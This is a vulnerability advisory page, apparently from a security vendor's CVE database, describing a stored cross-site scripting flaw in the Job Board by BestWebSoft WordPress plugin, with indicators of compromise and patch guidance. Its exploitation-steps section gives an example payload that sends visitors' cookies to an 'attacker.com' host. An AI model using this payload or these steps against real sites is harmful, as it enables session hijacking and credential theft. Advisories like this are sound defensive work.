CVE-2025-13383
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-13383 is a Stored Cross-Site Scripting (XSS) vulnerability in the Job Board by BestWebSoft plugin for WordPress, affecting all versions up to and including 1.2.1. The flaw allows unauthenticated attackers to inject arbitrary web scripts that are stored in the database and later executed in the browsers of users who access saved searches or profile pages. It was published on November 25, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is improper input sanitization (CWE-79): the plugin stores the entire unsanitized $_GET superglobal array directly into the WordPress database via update_user_meta() when a user saves job search results, and subsequently outputs this data without proper escaping when rendering saved searches or user profiles. An unauthenticated attacker can craft a malicious URL containing JavaScript payloads in GET parameters, then socially engineer a logged-in user into performing the search and saving the results — at which point the payload is persisted to the database. The vulnerable code paths are visible in the plugin source at lines 2354, 2355, and 1680 of job-board.php version 1.2.1 (Wordfence, Plugin Source).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the affected saved search or profile page, resulting in low confidentiality and integrity impacts with a changed scope (affecting other users' sessions). Potential consequences include session cookie theft, credential harvesting, defacement of user-facing pages, or redirection to malicious sites. Because the payload is stored server-side, it can affect multiple victims over time without repeated attacker interaction (Wordfence, Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13383 as of the available data. The EPSS score is approximately 0.095%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — specifically, tricking a logged-in WordPress user into performing a crafted search and saving the results — which limits the attack's practicality compared to fully unauthenticated, zero-click vulnerabilities (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Job Board by BestWebSoft plugin version ≤1.2.1 using tools like WPScan or by checking /wp-content/plugins/job-board/ paths.
  2. Craft malicious URL: Construct a job search URL on the target site that includes a malicious JavaScript payload in one or more GET parameters (e.g., ?search_keyword=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  3. Social engineering: Deliver the crafted URL to a logged-in WordPress user (e.g., via phishing email, forum post, or direct message), convincing them to click the link and perform the search.
  4. Trigger save: Persuade the victim to save the search results using the plugin's save functionality, causing the unsanitized $_GET array — including the injected payload — to be written to the database via update_user_meta().
  5. Payload execution: When the victim (or any other user with access) subsequently views the saved search or the affected user's profile page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

Indicators of compromise

  • Database: Unexpected JavaScript or HTML tags (e.g., <script>, <img onerror=, javascript:) stored in WordPress wp_usermeta table entries associated with the Job Board plugin's saved search keys.
  • Logs: Web server access logs showing GET requests to job search pages with URL-encoded script tags or event handler attributes in query parameters (e.g., %3Cscript%3E, onerror=, onload=).
  • Network: Outbound connections from user browsers to unknown external domains shortly after accessing saved search or profile pages on the affected WordPress site.
  • File System: No direct file-system artifacts expected, as the payload is stored in the database rather than the file system.

Mitigation and workarounds

Users should update the Job Board by BestWebSoft plugin to version 1.2.2 or later, which addresses the vulnerability by properly sanitizing $_GET input before storing it and escaping output before rendering. If an immediate upgrade is not possible, site administrators should consider disabling the plugin's save-search functionality or restricting access to the job board pages until the patch is applied. Implementing a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript event handlers in GET parameters can provide additional defense-in-depth (Wordfence, Wordfence Weekly Report).

Community reactions

Wordfence disclosed and assigned this CVE as part of their weekly WordPress vulnerability report for the week of November 24–30, 2025, noting that a patch was available in version 1.2.2. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified for this vulnerability (Wordfence Weekly Report).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15439MEDIUM6.5
  • gamipress
NoYesSep 11, 2026
CVE-2026-85116MEDIUM6.5
  • simple-cloudflare-turnstile
NoYesSep 11, 2026
CVE-2026-86809MEDIUM5.3
  • persian-elementor
NoYesSep 11, 2026
CVE-2026-86813MEDIUM4.8
  • metform
NoYesSep 11, 2026
CVE-2024-12145MEDIUM4.3
  • buddypress
NoYesSep 11, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management